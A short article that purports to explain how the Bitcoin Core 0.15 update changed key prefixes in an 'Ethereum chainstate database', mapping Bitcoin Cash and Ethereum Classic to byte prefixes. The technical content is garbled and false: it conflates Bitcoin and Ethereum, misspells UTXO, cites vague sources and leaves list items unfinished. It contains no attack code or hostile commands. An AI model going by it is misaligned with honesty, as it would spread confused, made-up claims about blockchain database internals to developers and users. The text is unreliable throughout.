Understanding the Changes to the UXTO Ethereum Database Structure
The recent Bitcoin Core (BTC) version 0.15 update brought significant changes to the structure of the Ethereum chainstate database (DB). In particular, the old key prefix and corresponding data were updated to the new format.
Old Prefix vs. New Format
Before the update, the key prefixes used in the Ethereum database were:
- 0x63: Bitcoin Cash (BCH)
- 0x43: Ethereum Classic (ETC)
After the update, these prefixes changed to:
- 0x43: Bitcoin Cash (BCH) and
- 0x53: Ethereum Classic (ETC) and
Where is this change described?
The change was not documented in detail in the official Ethereum documentation or on the channels within the network. However, some online sources provide hints about the updates:
- Ethereum.org: The official Ethereum website does not mention any changes to the database structure.
- Ethereum Devnet: Some developers and contributors shared their thoughts and ideas on the Reddit community r/EthereumDevnet, stating that the change occurred after a major update to Bitcoin Core.
- Ethereum 2.0 Documentation
: While the Ethereum 2.0 documentation does not directly address the database structure, it does mention changes to network scalability solutions and storage mechanisms.
Conclusion
While the exact details of this change are still being revealed by the community, it appears that the Bitcoin Core update has introduced a new prefix system for key data in the Ethereum database. As with any major update, it is recommended that you do further research to understand the implications for Ethereum’s scalability, security, and usability.
